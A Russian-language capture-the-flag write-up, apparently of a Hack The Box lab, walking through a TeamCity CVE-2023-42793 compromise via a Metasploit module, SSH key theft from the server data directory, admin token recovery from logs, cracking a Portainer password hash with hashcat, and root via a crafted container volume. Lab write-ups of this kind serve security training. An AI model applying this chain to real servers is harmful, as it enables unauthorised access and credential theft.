Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/73926d9c-a0ff-4a8f-b2b0-09c764115e20 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
При сканировании портов обнаруживаем стандартное:
Open 10.129.168.255:80
Open 10.129.168.255:22
Веб
На 80 порту у нас такое:
И сразу находим тимсити:
Версия Teamcity 2023.05.3
, быстрый гуглеж показывает, что она уязвима к CVE-2023-42793
- мы можем создать привилегированного пользователя.
Я воспользовался exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793
из mfsconsole
и получил шелл.
По переменным окружения находим каталог с данными Teamcity и внутри обнаруживаем один из приватных ключей для SSH.
meterpreter > ls
Listing: /data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys
======================================================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100640/rw-r----- 2590 fil 2024-02-28 22:56:44 +0300 id_rsa
Чтобы понять, какому пользователю принадлежит ключ, надо залогиниться в Teamcity - для этого просмотрим в логи: нам интересен файл /opt/teamcity/logs/teamcity-server.log
, в котором поищем фразу Super user authentication token
.
С помощью такого токена можно залогиниться в вебку в качестве администратора - просто нужно ввести в качестве пароля при пустом логине.
А вот и пользователи:
Попробуем подключиться с приватным ключом как один из этих пользователей и получаем шелл как john
:
chmod 600 id_rsa
ssh -i id_rsa [email protected]
Флаг пользователя
Повышение привилегий
Посмотрим на сетевые соединения и обнаружим интересный порт 9443:
$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:9443 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8111 0.0.0.0:* LISTEN off (0.00/0/0)
Пробросим порт на локальную машину и уткнемся в портейнер:
Качаем встроенную базу данных (в каталоге данных TeamCity /data/teamcity_server/datadir/system
):
$ mkdir system
meterpreter> lcd system
meterpreter> download buildserver.*
По строкам в файле находим его хеш:
Далее просто брутим и логинимся в портейнер:
hashcat -a 0 -m 3200 hash.txt ~/wordlists/rockyou.txt
Создадим volume с хитрыми параметрами:
Теперь создадим контейнер:
Провалимся в терминал созданного контейнера в качестве root
и получаем доступ в качестве суперпользователя к файловой системе.